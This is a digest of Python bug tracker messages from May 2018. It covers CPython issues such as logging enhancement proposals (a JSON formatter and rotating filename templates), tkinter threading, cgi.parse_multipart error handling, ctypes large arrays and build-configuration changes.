bpo-32861: robotparser fix incomplete __str__ methods. (GH-5711) (GH-6795) (GH-6817) https://github.com/python/cpython/commit/861d38443d4b85cdc7b87afc4adee55f51c2f4b3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 18:09:59 2018 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 14 May 2018 22:09:59 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1526335799.08.0.682650639539.issue20104@psf.upfronthosting.co.za> Pablo Galindo Salgado added the comment: Some interesting benchmarks of posix spawn: https://github.com/rtomayko/posix-spawn/blob/master/README.md ---------- components: -Library (Lib) priority: normal -> release blocker versions: +Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 18:10:37 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 22:10:37 +0000 Subject: [issue32861] urllib.robotparser: incomplete __str__ methods In-Reply-To: <1518828766.79.0.467229070634.issue32861@psf.upfronthosting.co.za> Message-ID: <1526335837.62.0.682650639539.issue32861@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 18:11:57 2018 From: report at bugs.python.org (Ned Deily) Date: Mon, 14 May 2018 22:11:57 +0000 Subject: [issue33497] cgi.parse_multipart does not have an associated "errors" parameter with its "encoding" parameter In-Reply-To: <1526308210.26.0.682650639539.issue33497@psf.upfronthosting.co.za> Message-ID: <1526335917.75.0.682650639539.issue33497@psf.upfronthosting.co.za> Ned Deily added the comment: New changeset 545c955be997efd6b3827b981024e6b9945d82d1 by Ned Deily (Amber Brown) in branch 'master': bpo-33497: Add errors param to cgi.parse_multipart and make an encoding in FieldStorage use the given errors (GH-6804) https://github.com/python/cpython/commit/545c955be997efd6b3827b981024e6b9945d82d1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 18:13:05 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 14 May 2018 22:13:05 +0000 Subject: [issue33497] cgi.parse_multipart does not have an associated "errors" parameter with its "encoding" parameter In-Reply-To: <1526308210.26.0.682650639539.issue33497@psf.upfronthosting.co.za> Message-ID: <1526335985.72.0.682650639539.issue33497@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6519 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 18:14:35 2018 From: report at bugs.python.org (Ned Deily) Date: Mon, 14 May 2018 22:14:35 +0000 Subject: [issue33497] cgi.parse_multipart does not have an associated "errors" parameter with its "encoding" parameter In-Reply-To: <1526308210.26.0.682650639539.issue33497@psf.upfronthosting.co.za> Message-ID: <1526336075.83.0.682650639539.issue33497@psf.upfronthosting.co.za> Change by Ned Deily : ---------- pull_requests: +6520 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 18:15:17 2018 From: report at bugs.python.org (Ned Deily) Date: Mon, 14 May 2018 22:15:17 +0000 Subject: [issue33497] cgi.parse_multipart does not have an associated "errors" parameter with its "encoding" parameter In-Reply-To: <1526308210.26.0.682650639539.issue33497@psf.upfronthosting.co.za> Message-ID: <1526336117.44.0.682650639539.issue33497@psf.upfronthosting.co.za> Ned Deily added the comment: New changeset d063b84d9ee435e9ae981c18faccaff5562792c3 by Ned Deily in branch 'master': bpo-33497: Add NEWS and ACKS entries. (GH-6838) https://github.com/python/cpython/commit/d063b84d9ee435e9ae981c18faccaff5562792c3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 18:16:39 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 14 May 2018 22:16:39 +0000 Subject: [issue33497] cgi.parse_multipart does not have an associated "errors" parameter with its "encoding" parameter In-Reply-To: <1526308210.26.0.682650639539.issue33497@psf.upfronthosting.co.za> Message-ID: <1526336199.4.0.682650639539.issue33497@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6521 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 18:16:56 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 14 May 2018 22:16:56 +0000 Subject: [issue33421] Missing documentation for typing.AsyncContextManager In-Reply-To: <1525390394.87.0.682650639539.issue33421@psf.upfronthosting.co.za> Message-ID: <1526336216.32.0.682650639539.issue33421@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6522 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 18:17:14 2018 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 14 May 2018 22:17:14 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1526336234.16.0.682650639539.issue20104@psf.upfronthosting.co.za> Pablo Galindo Salgado added the comment: Also this reading may be relevant/interesting: https://about.gitlab.com/2018/01/23/how-a-fix-in-go-19-sped-up-our-gitaly-service-by-30x/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 18:20:10 2018 From: report at bugs.python.org (Ned Deily) Date: Mon, 14 May 2018 22:20:10 +0000 Subject: [issue33497] cgi.parse_multipart does not have an associated "errors" parameter with its "encoding" parameter In-Reply-To: <1526308210.26.0.682650639539.issue33497@psf.upfronthosting.co.za> Message-ID: <1526336410.76.0.682650639539.issue33497@psf.upfronthosting.co.za> Ned Deily added the comment: New changeset e8f968dcde520160bea7c98d298e58128f9abaa4 by Ned Deily (Miss Islington (bot)) in branch '3.7': bpo-33497: Add errors param to cgi.parse_multipart and make an encoding in FieldStorage use the given errors (GH-6804) (GH-6837) https://github.com/python/cpython/commit/e8f968dcde520160bea7c98d298e58128f9abaa4 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 18:20:20 2018 From: report at bugs.python.org (Steve R. Hastings) Date: Mon, 14 May 2018 22:20:20 +0000 Subject: [issue33510] [logging] add JSON log formatter Message-ID: <1526336420.56.0.682650639539.issue33510@psf.upfronthosting.co.za> New submission from Steve R. Hastings : Many logging aggregation and indexing systems require that log data must be written in an easy-to-parse format such as JSON. A "batteries included" JSON log formatter would be a useful enhancement. I have written code with the following features: Log events are translated into JSON. The JSON is formatted without indentation, so that one log event will produce one line in the output file. Each line is a single JSON object. Because log files contain many lines and JSON logging is usually not read by humans, the JSON separator punctuation are set to simply ':' and ',' (no leading or trailing spaces). The standard fields of a log event turn into key/value pairs in the JSON object, using the standard field name as the output JSON key name. For example, a log statement like this: log.info("foo initialized") would result in JSON that included: "message": "foo initialized", "levelname": "INFO" By default, the JSON output has the timestamp as the first key/value pair; therefore if the file is sorted, or multiple log files are concatenated and then sorted, the logged events will be sorted into elapsed order. By default, the timestamp format is RFC3339: https://tools.ietf.org/html/rfc3339 Also, by default, the seconds field will have a fractional part with three digits (i.e. millisecond resolution on log event timestamps). The user can provide a dictionary that will translate key names. If the user's log collection system requires the logging level to have a key name of "priority", then by specifying that "levelname" should be mapped to "priority" the log event will be output with "priority": "INFO" This dictionary also provides a way to control which logging event fields are written to the logfile and in what order. Taking advantage of a feature already present in the Python logging code: The user can provide a dictionary as the only argument after the logging message, and it will be handled specially. For the JSON formatter, the special handling is that the key/value pairs from the dictionary will be included in the JSON output. Alternatively, the user can provide a message string that includes % templating codes, and specify arguments to be templated in, as is common practice in logging. (This is to be backwards-compatible with code written to the current formatters.) The Python logging code feature mentioned above can be found in LogRecord.__init__() The first thing that init code does is check whether there is exactly one argument and it is a non-empty Mapping. In the case where there are multiple arguments provided and templated into the message string, one extra key/value pair is written in the JSON object: the key is "args" and the value is a JSON array with the values of the arguments. Because logging is fundamental, if anything goes wrong it's important to log as much as possible. If any exception is raised during the call to json.dumps() that creates an output line, there is fallback code that converts the arguments dictionary to a string and logs that string under an identifiable key name such as "args_text" So if someone attempts to log arguments that json.dumps() can't handle, something will be written to the logfile even if it's just something like "<__main__.Foo object at 0x7f8fe7621da0>" Here is a concrete example. The JSON logging formatter is initialized with the following field name translation table: TRANSLATE_FIELD_NAMES = { "asctime": "@timestamp", "levelname": "priority", "message": None, "process": "pid", } The above dictionary means that asctime, levelname, message, and process will be written to the output file, in that order. The output JSON object will have key names of, respectively: "@timestamp", priority, message (no change), and pid. Then the following logging call occurs: log.info("connecting to server", {"url": server_url, "port": sever_port}) The output written to the log file would be similar to this: {"@timestamp":"2018-05-14T17:28:04.112-04:00","priority":"INFO","message":"connecting to server","pid":32073,"url":"http://127.0.0.1","port":8043} As noted above, I have already written this code, and it has been in production for months at the company where I work. However, the code can be simplified and cleaned up a bit, since it contains Python 2.7 backward compatibility code. ---------- components: Library (Lib) messages: 316597 nosy: steveha, vinay.sajip priority: normal severity: normal status: open title: [logging] add JSON log formatter type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 18:21:12 2018 From: report at bugs.python.org (Ned Deily) Date: Mon, 14 May 2018 22:21:12 +0000 Subject: [issue33497] cgi.parse_multipart does not have an associated "errors" parameter with its "encoding" parameter In-Reply-To: <1526308210.26.0.682650639539.issue33497@psf.upfronthosting.co.za> Message-ID: <1526336472.31.0.682650639539.issue33497@psf.upfronthosting.co.za> Ned Deily added the comment: New changeset 5195039bb5529f1b18d30e8bfcabdee739912d76 by Ned Deily (Miss Islington (bot)) in branch '3.7': bpo-33497: Add NEWS and ACKS entries. (GH-6838) (GH-6840) https://github.com/python/cpython/commit/5195039bb5529f1b18d30e8bfcabdee739912d76 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 18:22:48 2018 From: report at bugs.python.org (Ned Deily) Date: Mon, 14 May 2018 22:22:48 +0000 Subject: [issue33497] cgi.parse_multipart does not have an associated "errors" parameter with its "encoding" parameter In-Reply-To: <1526308210.26.0.682650639539.issue33497@psf.upfronthosting.co.za> Message-ID: <1526336568.63.0.682650639539.issue33497@psf.upfronthosting.co.za> Ned Deily added the comment: Thanks for the report and the PR, @hawkowl! Merged for 3.7.0rc1. ---------- priority: release blocker -> resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 18:28:45 2018 From: report at bugs.python.org (Vinay Sajip) Date: Mon, 14 May 2018 22:28:45 +0000 Subject: [issue33506] [logging] template for filename timestamps In-Reply-To: <1526331207.94.0.682650639539.issue33506@psf.upfronthosting.co.za> Message-ID: <1526336925.18.0.682650639539.issue33506@psf.upfronthosting.co.za> Vinay Sajip added the comment: > The logging library has a small set of predefined filename templates and no way is provided to override them. What about https://docs.python.org/3/library/logging.handlers.html#logging.handlers.BaseRotatingHandler.namer which allows you to specify your own naming scheme? What prevents you from subclassing one of the existing rotating handlers and implementing the algorithm you want? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 18:30:01 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 22:30:01 +0000 Subject: [issue33497] cgi.parse_multipart does not have an associated "errors" parameter with its "encoding" parameter In-Reply-To: <1526308210.26.0.682650639539.issue33497@psf.upfronthosting.co.za> Message-ID: <1526337001.4.0.682650639539.issue33497@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Is 'replace' the good default value? 'strict' is the default value for most encoding/decoding operations. 'surrogateescape' is used if the failure and the loss of information are not desirable (like in filenames decoding). 'backslashreplace' is good if we want to avoid a failure, but want to expose undecodable bytes in human-readable form. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 18:31:24 2018 From: report at bugs.python.org (Vinay Sajip) Date: Mon, 14 May 2018 22:31:24 +0000 Subject: [issue33508] [logging] allow %p code to put PID into log filename In-Reply-To: <1526331490.03.0.682650639539.issue33508@psf.upfronthosting.co.za> Message-ID: <1526337084.81.0.682650639539.issue33508@psf.upfronthosting.co.za> Vinay Sajip added the comment: > Python logging is not multi-process safe. Covered in https://docs.python.org/3/howto/logging-cookbook.html#logging-to-a-single-file-from-multiple-processes You can certainly arrange to have the pid in the filename without a change to the stdlib. I don't propose to implement this. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 18:35:49 2018 From: report at bugs.python.org (Vinay Sajip) Date: Mon, 14 May 2018 22:35:49 +0000 Subject: [issue33510] [logging] add JSON log formatter In-Reply-To: <1526336420.56.0.682650639539.issue33510@psf.upfronthosting.co.za> Message-ID: <1526337349.96.0.682650639539.issue33510@psf.upfronthosting.co.za> Vinay Sajip added the comment: > A "batteries included" JSON log formatter would be a useful enhancement. See https://docs.python.org/3/howto/logging-cookbook.html#implementing-structured-logging I don't propose to implement your suggestion. You've now logged three enhancement requests where there are recommended mechanisms in the cookbook or reference documentation for dealing with the situations you describe. I'm not really minded to implement any of these proposed enhancements, as I think the approaches already described in the documentation are adequate. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 18:40:23 2018 From: report at bugs.python.org (Ned Deily) Date: Mon, 14 May 2018 22:40:23 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1526337623.11.0.682650639539.issue20104@psf.upfronthosting.co.za> Change by Ned Deily : ---------- priority: release blocker -> versions: -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 19:54:38 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 14 May 2018 23:54:38 +0000 Subject: [issue16865] ctypes arrays >=2GB in length causes exception In-Reply-To: <1357334898.38.0.395259266999.issue16865@psf.upfronthosting.co.za> Message-ID: <1526342078.21.0.682650639539.issue16865@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 735abadd5bd91db4a9e6f4311969b0afacca0a1a by Serhiy Storchaka (Segev Finer) in branch 'master': bpo-16865: Support arrays >=2GB in ctypes. (GH-3006) https://github.com/python/cpython/commit/735abadd5bd91db4a9e6f4311969b0afacca0a1a ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 19:55:38 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 14 May 2018 23:55:38 +0000 Subject: [issue16865] ctypes arrays >=2GB in length causes exception In-Reply-To: <1357334898.38.0.395259266999.issue16865@psf.upfronthosting.co.za> Message-ID: <1526342138.43.0.682650639539.issue16865@psf.upfronthosting.co.za> Change by miss-islington : ---------- keywords: +patch pull_requests: +6523 stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 19:57:33 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 14 May 2018 23:57:33 +0000 Subject: [issue33502] dataclasses: repr of _DataclassParams objects should use repr of each member In-Reply-To: <1526319739.29.0.682650639539.issue33502@psf.upfronthosting.co.za> Message-ID: <1526342253.29.0.682650639539.issue33502@psf.upfronthosting.co.za> miss-islington added the comment: New changeset b57aeac82ce6ee3d64cef3b6f7e9f9f2d7813f70 by Miss Islington (bot) in branch '3.7': bpo-33502: dataclass._Dataclassparams repr: use repr of each member. (GH-6812) https://github.com/python/cpython/commit/b57aeac82ce6ee3d64cef3b6f7e9f9f2d7813f70 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 19:57:39 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 14 May 2018 23:57:39 +0000 Subject: [issue16865] ctypes arrays >=2GB in length causes exception In-Reply-To: <1357334898.38.0.395259266999.issue16865@psf.upfronthosting.co.za> Message-ID: <1526342259.39.0.682650639539.issue16865@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6524 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 20:25:37 2018 From: report at bugs.python.org (Mark Roseman) Date: Tue, 15 May 2018 00:25:37 +0000 Subject: [issue33479] Document tkinter and threads In-Reply-To: <1526184152.45.0.682650639539.issue33479@psf.upfronthosting.co.za> Message-ID: <1526343937.04.0.682650639539.issue33479@psf.upfronthosting.co.za> Mark Roseman added the comment: This seems very complicated. The official line on threads for Tk has always been to make all Tk calls from one thread, which is at least predictable and comprehensible. Is there any reason for Tkinter to suggest anything different? This ignores the compilation issue of course. FYI, the Tcl core group will probably eliminate the possibility of doing non-threaded builds in the future, though with backwards compatibility issues, that's neither here nor there. ---------- nosy: +markroseman _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 20:47:22 2018 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 15 May 2018 00:47:22 +0000 Subject: [issue33502] dataclasses: repr of _DataclassParams objects should use repr of each member In-Reply-To: <1526319739.29.0.682650639539.issue33502@psf.upfronthosting.co.za> Message-ID: <1526345242.8.0.682650639539.issue33502@psf.upfronthosting.co.za> Change by Eric V. Smith : ---------- priority: release blocker -> resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 21:33:20 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 15 May 2018 01:33:20 +0000 Subject: [issue33479] Document tkinter and threads In-Reply-To: <1526184152.45.0.682650639539.issue33479@psf.upfronthosting.co.za> Message-ID: <1526348000.37.0.682650639539.issue33479@psf.upfronthosting.co.za> Terry J. Reedy added the comment: The official line is the claim in the docs that tkinter *is* threadsafe, repeated by Martin on at least one issue. See the first paragraph above. Therein lies the problem. A reason to not just reverse the claim is that it is, at least for practical purposes, true, by default, for 8.6. See the opening post of #11077 for one motivation for calling from threads. (Numerous others have tried and reported failures, though usually without explaining why they tried.) Mark, do you know how to identify the tcl/tk build on MacOS or Linux? If so, and you have installed 3.7.0 on MacOS since b0, which includes 8.6.8, can you report which it is? Ditto for any Linux distribution you have. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 21:57:40 2018 From: report at bugs.python.org (Steve R. Hastings) Date: Tue, 15 May 2018 01:57:40 +0000 Subject: [issue33506] [logging] template for filename timestamps In-Reply-To: <1526331207.94.0.682650639539.issue33506@psf.upfronthosting.co.za> Message-ID: <1526349460.75.0.682650639539.issue33506@psf.upfronthosting.co.za> Steve R. Hastings added the comment: > What about [ BaseRotatingHandler.namer ] which allows you to specify your own naming scheme? I confess that I overlooked that; it was added later than the version of Python in which I wrote my original code. The current Python code still has a small set of predefined file templates, but now has a way to specify a callable that can completely override the filename. I agree that this can be used to implement any desired filename system, although it would be more work than simply specifying the desired template codes. Are you planning to remove the predefined filename templates and produce a more functional version of the code where the .namer() function is always used to produce a filename, with a set of predefined functions that produce equivalent filenames to the built-in templates? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 22:07:56 2018 From: report at bugs.python.org (bbayles) Date: Tue, 15 May 2018 02:07:56 +0000 Subject: [issue33491] mistype of method's name In-Reply-To: <1526283531.17.0.682650639539.issue33491@psf.upfronthosting.co.za> Message-ID: <1526350076.27.0.682650639539.issue33491@psf.upfronthosting.co.za> bbayles added the comment: I think you'll find that your link points to the exception class `SkipTest`, which does start with a capital level. This is distinct from the `skipTest` method of `unittest.TestCase` objects, which starts with a lowercase letter. The documentation looks right to me. See [1] for a demonstration of the difference. [1] https://gist.github.com/bbayles/5158750b48a5accfceaa53a898b8b902 ---------- nosy: +bbayles _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 22:16:40 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Tue, 15 May 2018 02:16:40 +0000 Subject: [issue33479] Document tkinter and threads In-Reply-To: <1526184152.45.0.682650639539.issue33479@psf.upfronthosting.co.za> Message-ID: <1526350600.87.0.682650639539.issue33479@psf.upfronthosting.co.za> Ivan Pozdeev added the comment: > This seems very complicated. The official line on threads for Tk has always been to make all Tk calls from one thread, which is at least predictable and comprehensible. Is there any reason for Tkinter to suggest anything different? Tcl/Tk doesn't have a notion of a blocking event loop like other GUI toolkits do. Any code using Tcl must essentially call Tcl_DoOneEvent/`update` regularly at strategic points. This allows to work completely in one thread -- i.e. even if the OS has no threads whatsoever. Tcl/Tk is very old, and this model made perfect sense back then (and still does in some scenarios -- e.g. https://stackoverflow.com/questions/4083796/how-do-i-run-unittest-on-a-tkinter-app -- so there's no point in dropping it). If we'll be updating tutorials (the reference is a priority though), we definitly need to demonstrate this option. The current best practice for GUI programming is different. There's one "GUI" thread that runs just the event loop constantly, and other threads submit GUI-related work items into its queue (whatever they are called - "messages", "events", "futures"...). Likewise, for any lengthy task, the GUI thread spawns worker threads that report back on their progress via the same queue. All more or less modern GUI toolkits implement and advertize this model as the primary one -- as does Tkinter. So, at least the work item submitting API must be thread-safe (and in other GUI tooltikts, it is -- see https://mail.python.org/pipermail/python-dev/2018-May/153359.html ). For programmer's convenience, Tkinter does this transparently: whenever and whatever Python thread a call is made from, it makes it look for the Tcl interpreter as if all calls are sequential, and it enforces correct order for interdependent calls. A great deal of complexity comes from the fact that Tcl's threading model is very unothodox. Tcl's team seem to only have accepted threads reluctantly and to have been campaigning against threads for years before that (https://wiki.tcl.tk/38128 is arguably the most egregious case). So, what they did is tie a Tcl interpreter to an OS thread (by using thread local storage for its data). Long story short, no-one else does it like this (at least, I've never seen or heard of anything of the kind), and this is not what thread-local storage is meant for (http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2014/n4324.html lists some use cases for TLS). The best practice is to use locks to ensure orderly access to the shared state instead. My guess for the decision is it was the easiest way to migrate the code base (yet still tough as https://wiki.tcl.tk/1370 seems to hint), and it kinda lines up with that "single thread" mindset. Tkinter thus has to jump through hoops for calls coming from other threads (since for Python, it absolutely doesn't matter which OS thread makes a call). All the limitations when using threaded Tcl (see the letter attached to the ticket for details) come solely from this tying. With nonthreaded Tcl (bugs nonwithstanding), it's free-for-all, everything can be called from everywhere. The only upside is that with threaded Tcl, calls to different interpreters can run in parallel. > This ignores the compilation issue of course. FYI, the Tcl core group will probably eliminate the possibility of doing non-threaded builds in the future, though with backwards compatibility issues, that's neither here nor there. I know. Me asking them for clarifications from Tcl/Tk's side seems to have triggered it, in fact. Since the sole offender is their threading model, the way is to show them how it's defective and work towards improving it. We have at least a few years with old versions, and the limitations seem tolerable at first glance anyway, so that's not a priority. > do you know how to identify the tcl/tk build on MacOS or Linux? The same way Tkinter does @_tkinter.c:624 . The equivalent Python is `tkinter.Tk().tk.call("array","get","tcl_platform","threaded")` ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 22:20:34 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 15 May 2018 02:20:34 +0000 Subject: [issue26264] keyword module missing async and await keywords In-Reply-To: <1454378786.53.0.925531991818.issue26264@psf.upfronthosting.co.za> Message-ID: <1526350834.63.0.682650639539.issue26264@psf.upfronthosting.co.za> Terry J. Reedy added the comment: This is out-of-date for 3.5 and almost so for 3.6 and not an issue for 3.7. The PR has been closed. And I agree with Raymond that keywords.py should not anticipate the future. All this is aside from the auto-generation issue. ---------- nosy: +terry.reedy resolution: not a bug -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 22:34:03 2018 From: report at bugs.python.org (Eitan Adler) Date: Tue, 15 May 2018 02:34:03 +0000 Subject: [issue33511] update.config.sub Message-ID: <1526351643.4.0.682650639539.issue33511@psf.upfronthosting.co.za> New submission from Eitan Adler : confg.sub has been updated upstream. lets pull it in. ---------- components: Build messages: 316612 nosy: eitan.adler priority: normal severity: normal status: open title: update.config.sub type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 22:36:51 2018 From: report at bugs.python.org (Eitan Adler) Date: Tue, 15 May 2018 02:36:51 +0000 Subject: [issue33511] update.config.sub In-Reply-To: <1526351643.4.0.682650639539.issue33511@psf.upfronthosting.co.za> Message-ID: <1526351811.96.0.682650639539.issue33511@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- keywords: +patch pull_requests: +6525 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 22:42:29 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 15 May 2018 02:42:29 +0000 Subject: [issue29706] IDLE needs syntax highlighting for async and await In-Reply-To: <1488512637.52.0.156111675331.issue29706@psf.upfronthosting.co.za> Message-ID: <1526352149.24.0.682650639539.issue29706@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- pull_requests: +6526 stage: test needed -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 22:48:32 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 15 May 2018 02:48:32 +0000 Subject: [issue29706] IDLE needs syntax highlighting for async and await In-Reply-To: <1488512637.52.0.156111675331.issue29706@psf.upfronthosting.co.za> Message-ID: <1526352512.79.0.682650639539.issue29706@psf.upfronthosting.co.za> Terry J. Reedy added the comment: PR 6846 adds the htest line to all versions (no news). When merged, I will augment the keyword list and add a news blurb for 3.6. ---------- stage: patch review -> needs patch versions: -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 22:57:47 2018 From: report at bugs.python.org (Steve R. Hastings) Date: Tue, 15 May 2018 02:57:47 +0000 Subject: [issue33510] [logging] add JSON log formatter In-Reply-To: <1526336420.56.0.682650639539.issue33510@psf.upfronthosting.co.za> Message-ID: <1526353067.41.0.682650639539.issue33510@psf.upfronthosting.co.za> Steve R. Hastings added the comment: The solution recommended in the logging cookbook does not do the same thing as I have proposed. I have proposed a logging handler that emits JSON suitable for ingestion by a log collection system. With the JSON formatter, all log events, no matter their source, are written completely in JSON. This includes log events from already-written library functions that have no expectation of JSON output. Also the JSON formatter writes timestamps in the now-universally-understood RFC3339 format, the easiest date format to parse. The logging cookbook solution is that the user must explicitly write JSON data into the message line of each call to the logging code. This would make some or all of the message field into JSON but does not solve the problem of logging in JSON; the other fields of the log file would remain non-JSON. A company that is using a log collection system might need the logs to be pure JSON. The proposed JSON formatter solves that problem. P.S. Here is a blog posting on why it is useful to log in pure JSON: https://journal.paul.querna.org/articles/2011/12/26/log-for-machines-in-json/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 23:14:55 2018 From: report at bugs.python.org (Eitan Adler) Date: Tue, 15 May 2018 03:14:55 +0000 Subject: [issue33512] use more standard approach for detecting long double in configure Message-ID: <1526354095.19.0.682650639539.issue33512@psf.upfronthosting.co.za> New submission from Eitan Adler : autotools has a standard macro for defining HAVE_LONG_DOUBLE. Lets use it rather than using our own. ---------- components: Build messages: 316615 nosy: eitan.adler priority: normal severity: normal status: open title: use more standard approach for detecting long double in configure _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 23:15:42 2018 From: report at bugs.python.org (Eitan Adler) Date: Tue, 15 May 2018 03:15:42 +0000 Subject: [issue33512] use more standard approach for detecting long double in configure In-Reply-To: <1526354095.19.0.682650639539.issue33512@psf.upfronthosting.co.za> Message-ID: <1526354142.79.0.682650639539.issue33512@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- keywords: +patch pull_requests: +6527 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 23:37:05 2018 From: report at bugs.python.org (Steve R. Hastings) Date: Tue, 15 May 2018 03:37:05 +0000 Subject: [issue33506] [logging] template for filename timestamps In-Reply-To: <1526331207.94.0.682650639539.issue33506@psf.upfronthosting.co.za> Message-ID: <1526355425.76.0.682650639539.issue33506@psf.upfronthosting.co.za> Steve R. Hastings added the comment: I just reviewed the Python 3.6 logging code. Unless I am mistaken, it still has the limitation that when a logging file is active for writing log events, that file always has the same filename (self.baseFilename). Did I overlook anything? At rotation time, the self.namer() function is called, and it could implement any desired naming scheme. However, its only argument is the already templated filename. So if I needed to implement logging with a filename of: foo-YYYYmmdd.log at all times, how would I get the current file (the open file to which log events are being written) to have that pattern of name? And if I needed to write a self.namer() function to rename to that standard, is this the recommended approach? # for daily rotations, the built-in template is: "%Y-%m-%d" def namer(self, filename): # filename will look like: foo-YYYY-mm-dd.log year = filename[-14:-10] month = filename[-9:-7] day = filename[-6:-4] base = filename[:-14] new_filename = base + year + month + day + ".log" return new_filename # will look like: foo-YYYYmmdd.log The logging event that triggered the rollover is not passed to the namer() function, just the templated default filename. In my opinion, it is more convenient for the user to simply specify the desired format using template codes, such as: handler = TimedRotatingFileHandler("foo", suffix="-%Y%m%d", when="D") Also, unless I have overlooked something, using the self.namer() function to implement a custom naming scheme completely disables the code that automatically deletes the oldest backup files when backupCount is specified. The getBackupFilesToDelete() function uses the self.extMatch value (a pre-compiled regular expression) to find files to delete; with a custom naming scheme, the files will not match the pattern. Therefore users with a custom naming scheme would have to implement some external solution to deleting old files after log rotation. The code I am proposing to donate to Python automatically builds a suitable regular expression for the self.extMatch member variable, based on the user's specified format string. I believe this is an advantage for the code I propose to donate. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 14 23:55:43 2018 From: report at bugs.python.org (Benjamin Peterson) Date: Tue, 15 May 2018 03:55:43 +0000 Subject: [issue33483] build system requires explicit compiler, but should discover it In-Reply-To: <1526236134.66.0.682650639539.issue33483@psf.upfronthosting.co.za> Message-ID: <1526356543.95.0.682650639539.issue33483@psf.upfronthosting.co.za> Benjamin Peterson added the comment: New changeset 98929b545e86e7c7296c912d8f34e8e8d3fd6439 by Benjamin Peterson (Eitan Adler) in branch 'master': bpo-33483: more correctly handle finding the C compiler (GH-6780) https://github.com/python/cpython/commit/98929b545e86e7c7296c912d8f34e8e8d3fd6439 ---------- nosy: +benjamin.peterson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 15 00:06:37 2018 From: report at bugs.python.org 